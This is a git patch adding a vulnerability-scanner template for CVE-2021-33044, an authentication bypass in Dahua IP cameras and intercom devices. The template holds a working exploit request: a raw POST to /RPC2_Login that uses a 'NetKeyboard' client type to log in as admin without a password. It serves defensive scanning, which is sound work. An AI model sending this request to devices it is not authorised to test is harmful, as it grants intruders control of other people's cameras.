From 02655a9f22835bcec6ab41dc9e5c8648ab6f308b Mon Sep 17 00:00:00 2001
From: GwanYeong Kim <gy741.kim@gmail.com>
Date: Tue, 19 Oct 2021 12:44:56 +0900
Subject: [PATCH] Create CVE-2021-33044.yaml

The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
---
 cves/2021/CVE-2021-33044.yaml | 50 +++++++++++++++++++++++++++++++++++
 1 file changed, 50 insertions(+)
 create mode 100644 cves/2021/CVE-2021-33044.yaml

diff --git a/cves/2021/CVE-2021-33044.yaml b/cves/2021/CVE-2021-33044.yaml
new file mode 100644
index 0000000000..af32840093
--- /dev/null
+++ b/cves/2021/CVE-2021-33044.yaml
@@ -0,0 +1,50 @@
+id: CVE-2021-33044
+
+info:
+  name: Dahua IPC/VTH/VTO devices Authentication Bypass
+  author: gy741
+  severity: critical
+  tags: dahua,cve,cve2021,bypass
+  description: The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-33044
+    - https://github.com/dorkerdevil/CVE-2021-33044
+    - https://seclists.org/fulldisclosure/2021/Oct/13
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2021-33044
+    cwe-id: CWE-287
+
+requests:
+  - raw:
+      - |
+        POST /RPC2_Login HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
+        Accept-Encoding: gzip, deflate
+        Accept: application/json, text/javascript, */*; q=0.01
+        Connection: close
+        X-Requested-With: XMLHttpRequest
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Origin: http://{{Hostname}}/
+        Referer: http://{{Hostname}}/
+        Accept-Language: en-US,en;q=0.9
+
+        {"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}
+
+    matchers-condition: and
+    matchers:
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - "true"
+          - "id"
+          - "params"
+          - "session"
+        condition: and